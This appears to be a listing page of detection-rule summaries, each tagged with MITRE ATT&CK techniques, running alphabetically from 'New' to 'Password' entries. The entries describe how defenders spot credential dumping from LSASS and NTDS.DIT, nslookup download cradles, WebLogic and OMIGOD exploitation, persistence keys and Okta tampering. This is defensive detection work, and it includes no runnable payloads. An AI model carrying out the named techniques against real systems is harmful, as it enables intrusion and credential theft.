Aug 12, 2024 · attack.credential-access attack.t1003.005 ·
Share on:

Detects usage of "cmdkey.exe" to add generic credentials. As an example, this can be used before connecting to an RDP session via command line interface.

Read More
New Github Organization Member Added

Aug 12, 2024 · attack.persistence attack.t1136.003 ·
Share on:

Detects when a new member is added or invited to a github organization.

Read More
New Kernel Driver Via SC.EXE

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects creation of a new service (kernel driver) with the type "kernel"

Read More
New Kind of Network (NKN) Detection

Aug 12, 2024 · attack.command-and-control ·
Share on:

NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>

Read More
New Kubernetes Service Account Created

Aug 12, 2024 · attack.t1136 ·
Share on:

Detects creation of new Kubernetes service account, which could indicate an attacker's attempt to persist within a cluster.

Read More
New Network ACL Entry Added

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects that network ACL entries have been added to a route table which could indicate that new attack vectors have been opened up in the AWS account.

Read More
New Network Route Added

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects the addition of a new network route to a route table in AWS.

Read More
New Network Trace Capture Started Via Netsh.EXE

Aug 12, 2024 · attack.discovery attack.credential-access attack.t1040 ·
Share on:

Detects the execution of netsh with the "trace" flag in order to start a network capture

Read More
New ODBC Driver Registered

Aug 12, 2024 · attack.persistence ·
Share on:

Detects the registration of a new ODBC driver.

Read More
New or Renamed User Account with '$' Character

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects the creation of a user with the "$" character. This can be used by attackers to hide a user or trick detection systems that lack the parsing mechanisms.

Read More
New Outlook Macro Created

Aug 12, 2024 · attack.persistence attack.command-and-control attack.t1137 attack.t1008 attack.t1546 ·
Share on:

Detects the creation of a macro file for Outlook.

Read More
New PDQDeploy Service - Client Side

Aug 12, 2024 · attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects PDQDeploy service installation on the target system. When a package is deployed via PDQDeploy it installs a remote service on the target machine with the name "PDQDeployRunner-X" where "X" is an integer starting from 1

Read More
New PDQDeploy Service - Server Side

Aug 12, 2024 · attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines. PDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines

Read More
New Port Forwarding Rule Added Via Netsh.EXE

Aug 12, 2024 · attack.lateral-movement attack.defense-evasion attack.command-and-control attack.t1090 ·
Share on:

Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule

Read More
New PortProxy Registry Entry Added

Aug 12, 2024 · attack.lateral-movement attack.defense-evasion attack.command-and-control attack.t1090 ·
Share on:

Detects the modification of the PortProxy registry key which is used for port forwarding.

Read More
New PowerShell Instance Created

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of PowerShell via the creation of a named pipe starting with PSHost

Read More
New Process Created Via Taskmgr.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects the creation of a process via the Windows task manager. This might be an attempt to bypass UAC

Read More
New Process Created Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 car.2016-03-002 ·
Share on:

Detects new process creation using WMIC via the "process call create" flag

Read More
New Remote Desktop Connection Initiated Via Mstsc.EXE

Aug 12, 2024 · attack.lateral-movement attack.t1021.001 ·
Share on:

Detects the usage of "mstsc.exe" with the "/v" flag to initiate a connection to a remote server. Adversaries may use valid accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Read More
New Root Certificate Authority Added

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1556 ·
Share on:

Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication.

Read More
New Root Certificate Installed Via CertMgr.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1553.004 ·
Share on:

Detects execution of "certmgr" with the "add" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

Read More
New Root Certificate Installed Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1553.004 ·
Share on:

Detects execution of "certutil" with the "addstore" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

Read More
New Root or CA or AuthRoot Certificate to Store

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects the addition of new root, CA or AuthRoot certificates to the Windows registry

Read More
New RUN Key Pointing to Suspicious Folder

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects suspicious new RUN key element pointing to an executable in a suspicious folder

Read More
New Service Creation Using PowerShell

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects the creation of a new service using powershell.

Read More
New Service Creation Using Sc.EXE

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects the creation of a new service using the "sc.exe" utility.

Read More
New TimeProviders Registered With Uncommon DLL Name

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1547.003 ·
Share on:

Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.

Read More
New User Created Via Net.EXE

Aug 12, 2024 · attack.persistence attack.t1136.001 ·
Share on:

Identifies the creation of local users via the net.exe command.

Read More
New User Created Via Net.EXE With Never Expire Option

Aug 12, 2024 · attack.persistence attack.t1136.001 ·
Share on:

Detects creation of local users via the net.exe command with the option "never expire"

Read More
New Virtual Smart Card Created Via TpmVscMgr.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "Tpmvscmgr.exe" to create a new virtual smart card.

Read More
Nginx Core Dump

Aug 12, 2024 · attack.impact attack.t1499.004 ·
Share on:

Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.

Read More
Ngrok Usage with Remote Desktop Service

Aug 12, 2024 · attack.command-and-control attack.t1090 ·
Share on:

Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour

Read More
Nimbuspwn Exploitation

Aug 12, 2024 · attack.privilege-escalation attack.t1068 ·
Share on:

Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)

Read More
Nltest.EXE Execution

Aug 12, 2024 · attack.discovery attack.t1016 attack.t1018 attack.t1482 ·
Share on:

Detects nltest commands that can be used for information discovery

Read More
No Suitable Encryption Key Found For Generating Kerberos Ticket

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·
Share on:

Detects errors when a target server doesn't have suitable keys for generating kerberos tickets. This issue can occur for example when a service uses a user account or a computer account that is configured for only DES encryption on a computer that is running Windows 7 which has DES encryption for Kerberos authentication disabled.

Read More
Node Process Executions

Aug 12, 2024 · attack.defense-evasion attack.t1127 attack.t1059.007 ·
Share on:

Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud

Read More
Nohup Execution

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

Read More
Non Interactive PowerShell Process Spawned

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects non-interactive PowerShell activity by looking at the "powershell" process with a non-user GUI process such as "explorer.exe" as a parent.

Read More
NotPetya Ransomware Activity

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 attack.t1070.001 attack.credential-access attack.t1003.001 car.2016-04-002 detection.emerging-threats ·
Share on:

Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil

Read More
Nslookup PowerShell Download Cradle

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.

Read More
Nslookup PowerShell Download Cradle - ProcessCreation

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records

Read More
NtdllPipe Like Activity Execution

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe

Read More
NTDS Exfiltration Filename Patterns

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects creation of files with specific name patterns seen used in various tools that export the NTDS.DIT for exfiltration.

Read More
NTDS.DIT Created

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects creation of a file named "ntds.dit" (Active Directory Database)

Read More
NTDS.DIT Creation By Uncommon Parent Process

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon parent process or directory

Read More
NTDS.DIT Creation By Uncommon Process

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.003 ·
Share on:

Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon process or a process located in a suspicious directory

Read More
Ntdsutil Abuse

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects potential abuse of ntdsutil to dump ntds.dit database

Read More
NTFS Alternate Data Stream

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 attack.execution attack.t1059.001 ·
Share on:

Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.

Read More
NTFS Vulnerability Exploitation

Aug 12, 2024 · attack.impact attack.t1499.001 ·
Share on:

This the exploitation of a NTFS vulnerability as reported without many details via Twitter

Read More
NTLM Brute Force

Aug 12, 2024 · attack.credential-access attack.t1110 ·
Share on:

Detects common NTLM brute force device names

Read More
NTLM Logon

Aug 12, 2024 · attack.lateral-movement attack.t1550.002 ·
Share on:

Detects logons using NTLM, which could be caused by a legacy source or attackers

Read More
NTLMv1 Logon Between Client and Server

Aug 12, 2024 · attack.defense-evasion attack.lateral-movement attack.t1550.002 ·
Share on:

Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware.

Read More
Number Of Resource Creation Or Deployment Activities

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Number of VM creations or deployment activities occur in Azure via the azureactivity log.

Read More
Obfuscated IP Download Activity

Aug 12, 2024 · attack.discovery ·
Share on:

Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command

Read More
OceanLotus Registry Activity

Aug 12, 2024 · attack.defense-evasion attack.t1112 detection.emerging-threats ·
Share on:

Detects registry keys created in OceanLotus (also known as APT32) attacks

Read More
Octopus Scanner Malware

Aug 12, 2024 · attack.t1195 attack.t1195.001 ·
Share on:

Detects Octopus Scanner Malware.

Read More
Odbcconf.EXE Suspicious DLL Location

Aug 12, 2024 · attack.defense-evasion attack.t1218.008 ·
Share on:

Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location.

Read More
Office Application Initiated Network Connection Over Uncommon Ports

Aug 12, 2024 · attack.defense-evasion attack.command-and-control ·
Share on:

Detects an office suit application (Word, Excel, PowerPoint, Outlook) communicating to target systems over uncommon ports.

Read More
Office Application Initiated Network Connection To Non-Local IP

Aug 12, 2024 · attack.execution attack.t1203 ·
Share on:

Detects an office application (Word, Excel, PowerPoint) that initiate a network connection to a non-private IP addresses. This rule aims to detect traffic similar to one seen exploited in CVE-2021-42292. This rule will require an initial baseline and tuning that is specific to your organization.

Read More
Office Application Startup - Office Test

Aug 12, 2024 · attack.persistence attack.t1137.002 ·
Share on:

Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started

Read More
Office Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
Office Macro File Creation

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·
Share on:

Detects the creation of a new office macro files on the systems

Read More
Office Macro File Creation From Suspicious Process

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·
Share on:

Detects the creation of a office macro file from a a suspicious process

Read More
Office Macro File Download

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·
Share on:

Detects the creation of a new office macro files on the systems via an application (browser, mail client).

Read More
Office Macros Warning Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.

Read More
OilRig APT Activity

Aug 12, 2024 · attack.persistence attack.g0049 attack.t1053.005 attack.s0111 attack.t1543.003 attack.defense-evasion attack.t1112 attack.command-and-control attack.t1071.004 detection.emerging-threats ·
Share on:

Detects OilRig activity as reported by Nyotron in their March 2018 report

Read More
OilRig APT Registry Persistence

Aug 12, 2024 · attack.persistence attack.g0049 attack.t1053.005 attack.s0111 attack.t1543.003 attack.defense-evasion attack.t1112 attack.command-and-control attack.t1071.004 detection.emerging-threats ·
Share on:

Detects OilRig registry persistence as reported by Nyotron in their March 2018 report

Read More
OilRig APT Schedule Task Persistence - Security

Aug 12, 2024 · attack.persistence attack.g0049 attack.t1053.005 attack.s0111 attack.t1543.003 attack.defense-evasion attack.t1112 attack.command-and-control attack.t1071.004 detection.emerging-threats ·
Share on:

Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report

Read More
OilRig APT Schedule Task Persistence - System

Aug 12, 2024 · attack.persistence attack.g0049 attack.t1053.005 attack.s0111 attack.t1543.003 attack.defense-evasion attack.t1112 attack.command-and-control attack.t1071.004 detection.emerging-threats ·
Share on:

Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report

Read More
Okta Admin Role Assigned to an User or Group

Aug 12, 2024 · attack.persistence attack.t1098.003 ·
Share on:

Detects when an the Administrator role is assigned to an user or group.

Read More
Okta Admin Role Assignment Created

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when a new admin role assignment is created. Which could be a sign of privilege escalation or persistence

Read More
Okta API Token Created

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when a API token is created

Read More
Okta API Token Revoked

Aug 12, 2024 · attack.impact ·
Share on:

Detects when a API Token is revoked.

Read More
Okta Application Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an application is modified or deleted.

Read More
Okta Application Sign-On Policy Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an application Sign-on Policy is modified or deleted.

Read More
Okta FastPass Phishing Detection

Aug 12, 2024 · attack.initial-access attack.t1566 ·
Share on:

Detects when Okta FastPass prevents a known phishing site.

Read More
Okta Identity Provider Created

Aug 12, 2024 · attack.persistence attack.t1098.001 ·
Share on:

Detects when a new identity provider is created for Okta.

Read More
Okta MFA Reset or Deactivated

Aug 12, 2024 · attack.persistence attack.credential-access attack.defense-evasion attack.t1556.006 ·
Share on:

Detects when an attempt at deactivating or resetting MFA.

Read More
Okta Network Zone Deactivated or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an Network Zone is Deactivated or Deleted.

Read More
Okta New Admin Console Behaviours

Aug 12, 2024 · attack.initial-access attack.t1078.004 ·
Share on:

Detects when Okta identifies new activity in the Admin Console.

Read More
Okta Policy Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an Okta policy is modified or deleted.

Read More
Okta Policy Rule Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an Policy Rule is Modified or Deleted.

Read More
Okta Security Threat Detected

Aug 12, 2024 · attack.command-and-control ·
Share on:

Detects when an security threat is detected in Okta.

Read More
Okta Suspicious Activity Reported by End-user

Aug 12, 2024 · attack.resource-development attack.t1586.003 ·
Share on:

Detects when an Okta end-user reports activity by their account as being potentially suspicious.

Read More
Okta Unauthorized Access to App

Aug 12, 2024 · attack.impact ·
Share on:

Detects when unauthorized access to app occurs.

Read More
Okta User Account Locked Out

Aug 12, 2024 · attack.impact attack.t1531 ·
Share on:

Detects when an user account is locked out.

Read More
Okta User Session Start Via An Anonymising Proxy Service

Aug 12, 2024 · attack.defense-evasion attack.t1562.006 ·
Share on:

Detects when an Okta user session starts where the user is behind an anonymising proxy service.

Read More
Old TLS1.0/TLS1.1 Protocol Version Enabled

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects applications or users re-enabling old TLS versions by setting the "Enabled" value to "1" for the "Protocols" registry key.

Read More
OMIGOD HTTP No Authentication RCE

Aug 12, 2024 · attack.privilege-escalation attack.initial-access attack.execution attack.lateral-movement attack.t1068 attack.t1190 attack.t1203 attack.t1021.006 attack.t1210 ·
Share on:

Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.

Read More
OMIGOD SCX RunAsProvider ExecuteScript

Aug 12, 2024 · attack.privilege-escalation attack.initial-access attack.execution attack.t1068 attack.t1190 attack.t1203 ·
Share on:

Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

Read More
OMIGOD SCX RunAsProvider ExecuteShellCommand

Aug 12, 2024 · attack.privilege-escalation attack.initial-access attack.execution attack.t1068 attack.t1190 attack.t1203 ·
Share on:

Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

Read More
OneLogin User Account Locked

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an user account is locked or suspended.

Read More
OneLogin User Assumed Another User

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an user assumed another user account.

Read More
OneNote Attachment File Dropped In Suspicious Location

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects creation of files with the ".one"/".onepkg" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments

Read More
OpenCanary - FTP Login Attempt

Aug 12, 2024 · attack.initial-access attack.exfiltration attack.t1190 attack.t1021 ·
Share on:

Detects instances where an FTP service on an OpenCanary node has had a login attempt.

Read More
OpenCanary - GIT Clone Request

Aug 12, 2024 · attack.collection attack.t1213 ·
Share on:

Detects instances where a GIT service on an OpenCanary node has had Git Clone request.

Read More
OpenCanary - HTTP GET Request

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects instances where an HTTP service on an OpenCanary node has received a GET request.

Read More
OpenCanary - HTTP POST Login Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.

Read More
OpenCanary - HTTPPROXY Login Attempt

Aug 12, 2024 · attack.initial-access attack.defense-evasion attack.t1090 ·
Share on:

Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.

Read More
OpenCanary - MSSQL Login Attempt Via SQLAuth

Aug 12, 2024 · attack.credential-access attack.collection attack.t1003 attack.t1213 ·
Share on:

Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.

Read More
OpenCanary - MSSQL Login Attempt Via Windows Authentication

Aug 12, 2024 · attack.credential-access attack.collection attack.t1003 attack.t1213 ·
Share on:

Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.

Read More
OpenCanary - MySQL Login Attempt

Aug 12, 2024 · attack.credential-access attack.collection attack.t1003 attack.t1213 ·
Share on:

Detects instances where a MySQL service on an OpenCanary node has had a login attempt.

Read More
OpenCanary - NTP Monlist Request

Aug 12, 2024 · attack.impact attack.t1498 ·
Share on:

Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.

Read More
OpenCanary - REDIS Action Command Attempt

Aug 12, 2024 · attack.credential-access attack.collection attack.t1003 attack.t1213 ·
Share on:

Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.

Read More
OpenCanary - SIP Request

Aug 12, 2024 · attack.collection attack.t1123 ·
Share on:

Detects instances where an SIP service on an OpenCanary node has had a SIP request.

Read More
OpenCanary - SMB File Open Request

Aug 12, 2024 · attack.lateral-movement attack.collection attack.t1021 attack.t1005 ·
Share on:

Detects instances where an SMB service on an OpenCanary node has had a file open request.

Read More
OpenCanary - SNMP OID Request

Aug 12, 2024 · attack.discovery attack.lateral-movement attack.t1016 attack.t1021 ·
Share on:

Detects instances where an SNMP service on an OpenCanary node has had an OID request.

Read More
OpenCanary - SSH Login Attempt

Aug 12, 2024 · attack.initial-access attack.lateral-movement attack.persistence attack.t1133 attack.t1021 attack.t1078 ·
Share on:

Detects instances where an SSH service on an OpenCanary node has had a login attempt.

Read More
OpenCanary - SSH New Connection Attempt

Aug 12, 2024 · attack.initial-access attack.lateral-movement attack.persistence attack.t1133 attack.t1021 attack.t1078 ·
Share on:

Detects instances where an SSH service on an OpenCanary node has had a connection attempt.

Read More
OpenCanary - Telnet Login Attempt

Aug 12, 2024 · attack.initial-access attack.command-and-control attack.t1133 attack.t1078 ·
Share on:

Detects instances where a Telnet service on an OpenCanary node has had a login attempt.

Read More
OpenCanary - TFTP Request

Aug 12, 2024 · attack.exfiltration attack.t1041 ·
Share on:

Detects instances where a TFTP service on an OpenCanary node has had a request.

Read More
OpenCanary - VNC Connection Attempt

Aug 12, 2024 · attack.lateral-movement attack.t1021 ·
Share on:

Detects instances where a VNC service on an OpenCanary node has had a connection attempt.

Read More
OpenSSH Server Listening On Socket

Aug 12, 2024 · attack.lateral-movement attack.t1021.004 ·
Share on:

Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.

Read More
OpenWith.exe Executes Specified Binary

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

The OpenWith.exe executes other binary

Read More
Operation Wocao Activity

Aug 12, 2024 · attack.discovery attack.t1012 attack.defense-evasion attack.t1036.004 attack.t1027 attack.execution attack.t1053.005 attack.t1059.001 detection.emerging-threats ·
Share on:

Detects activity mentioned in Operation Wocao report

Read More
Operation Wocao Activity - Security

Aug 12, 2024 · attack.discovery attack.t1012 attack.defense-evasion attack.t1036.004 attack.t1027 attack.execution attack.t1053.005 attack.t1059.001 detection.emerging-threats ·
Share on:

Detects activity mentioned in Operation Wocao report

Read More
Operator Bloopers Cobalt Strike Commands

Aug 12, 2024 · attack.execution attack.t1059.003 stp.1u ·
Share on:

Detects use of Cobalt Strike commands accidentally entered in the CMD shell

Read More
Operator Bloopers Cobalt Strike Modules

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects Cobalt Strike module/commands accidentally entered in CMD shell

Read More
Oracle WebLogic Exploit

Aug 12, 2024 · attack.t1190 attack.initial-access attack.persistence attack.t1505.003 cve.2018-2894 detection.emerging-threats ·
Share on:

Detects access to a webshell dropped into a keystore folder on the WebLogic server

Read More
Oracle WebLogic Exploit CVE-2020-14882

Aug 12, 2024 · attack.t1190 attack.initial-access cve.2020-14882 detection.emerging-threats ·
Share on:

Detects exploitation attempts on WebLogic servers

Read More
Oracle WebLogic Exploit CVE-2021-2109

Aug 12, 2024 · attack.t1190 attack.initial-access cve.2021-2109 detection.emerging-threats ·
Share on:

Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109

Read More
OS Architecture Discovery Via Grep

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo"

Read More
Osacompile Execution By Potentially Suspicious Applet/Osascript

Aug 12, 2024 · attack.execution attack.t1059.002 ·
Share on:

Detects potential suspicious applet or osascript executing "osacompile".

Read More
OSACompile Run-Only Execution

Aug 12, 2024 · attack.t1059.002 attack.execution ·
Share on:

Detects potential suspicious run-only executions compiled using OSACompile

Read More
Outbound Network Connection Initiated By Cmstp.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.003 ·
Share on:

Detects a network connection initiated by Cmstp.EXE Its uncommon for "cmstp.exe" to initiate an outbound network connection. Investigate the source of such requests to determine if they are malicious.

Read More
Outbound Network Connection Initiated By Microsoft Dialer

Aug 12, 2024 · attack.execution attack.t1071.001 ·
Share on:

Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer. This is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys"

Read More
Outbound Network Connection Initiated By Script Interpreter

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.

Read More
Outbound Network Connection To Public IP Via Winlogon

Aug 12, 2024 · attack.defense-evasion attack.execution attack.command-and-control attack.t1218.011 ·
Share on:

Detects a "winlogon.exe" process that initiate network communications with public IP addresses

Read More
Outbound RDP Connections Over Non-Standard Tools

Aug 12, 2024 · attack.lateral-movement attack.t1021.001 car.2013-07-002 ·
Share on:

Detects Non-Standard tools initiating a connection over port 3389 indicating possible lateral movement. An initial baseline is required before using this utility to exclude third party RDP tooling that you might use.

Read More
Outdated Dependency Or Vulnerability Alert Disabled

Aug 12, 2024 · attack.initial-access attack.t1195.001 ·
Share on:

Dependabot performs a scan to detect insecure dependencies, and sends Dependabot alerts. This rule detects when an organization owner disables Dependabot alerts private repositories or Dependabot security updates for all repositories.

Read More
Outgoing Logon with New Credentials

Aug 12, 2024 · attack.defense-evasion attack.lateral-movement attack.t1550 ·
Share on:

Detects logon events that specify new credentials

Read More
Outlook EnableUnsafeClientMailRules Setting Enabled

Aug 12, 2024 · attack.execution attack.t1059 attack.t1202 ·
Share on:

Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros

Read More
Outlook EnableUnsafeClientMailRules Setting Enabled - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros

Read More
Outlook Macro Execution Without Warning Setting Enabled

Aug 12, 2024 · attack.persistence attack.command-and-control attack.t1137 attack.t1008 attack.t1546 ·
Share on:

Detects the modification of Outlook security setting to allow unprompted execution of macros.

Read More
Outlook Security Settings Updated - Registry

Aug 12, 2024 · attack.persistence attack.t1137 ·
Share on:

Detects changes to the registry values related to outlook security settings

Read More
Outlook Task/Note Reminder Received

Aug 12, 2024 · attack.persistence attack.t1137 cve.2023-23397 detection.emerging-threats ·
Share on:

Detects changes to the registry values related to outlook that indicates that a reminder was triggered for a Note or Task item. This could be a sign of exploitation of CVE-2023-23397. Further investigation is required to determine the success of an exploitation.

Read More
Overwriting the File with Dev Zero or Null

Aug 12, 2024 · attack.impact attack.t1485 ·
Share on:

Detects overwriting (effectively wiping/deleting) of a file.

Read More
OWASSRF Exploitation Attempt Using Public POC - Proxy

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint

Read More
OWASSRF Exploitation Attempt Using Public POC - Webserver

Aug 12, 2024 · attack.initial-access attack.t1190 detection.emerging-threats ·
Share on:

Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint

Read More
PAExec Service Installation

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects PAExec service installation

Read More
Pandemic Registry Key

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects Pandemic Windows Implant

Read More
PaperCut MF/NG Exploitation Related Indicators

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects exploitation indicators related to PaperCut MF/NG Exploitation

Read More
PaperCut MF/NG Potential Exploitation

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects suspicious child processes of "pc-app.exe". Which could indicate potential exploitation of PaperCut

Read More
Pass the Hash Activity 2

Aug 12, 2024 · attack.lateral-movement attack.t1550.002 ·
Share on:

Detects the attack technique pass the hash which is used to move laterally inside the network

Read More
Password Change on Directory Service Restore Mode (DSRM) Account

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects potential attempts made to set the Directory Services Restore Mode administrator password. The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password in order to obtain persistence.

Read More
Password Dumper Activity on LSASS

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN

Read More
Password Dumper Remote Thread in LSASS

Aug 12, 2024 · attack.credential-access attack.s0005 attack.t1003.001 ·
Share on:

Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage. The process in field Process is the malicious program. A single execution can lead to hundreds of events.

Read More
Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy

Aug 12, 2024 · attack.discovery attack.t1201 ·
Share on:

Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.

Read More
Password Policy Enumerated

Aug 12, 2024 · attack.discovery attack.t1201 ·
Share on:

Detects when the password policy is enumerated.

Read More
Password Protected ZIP File Opened

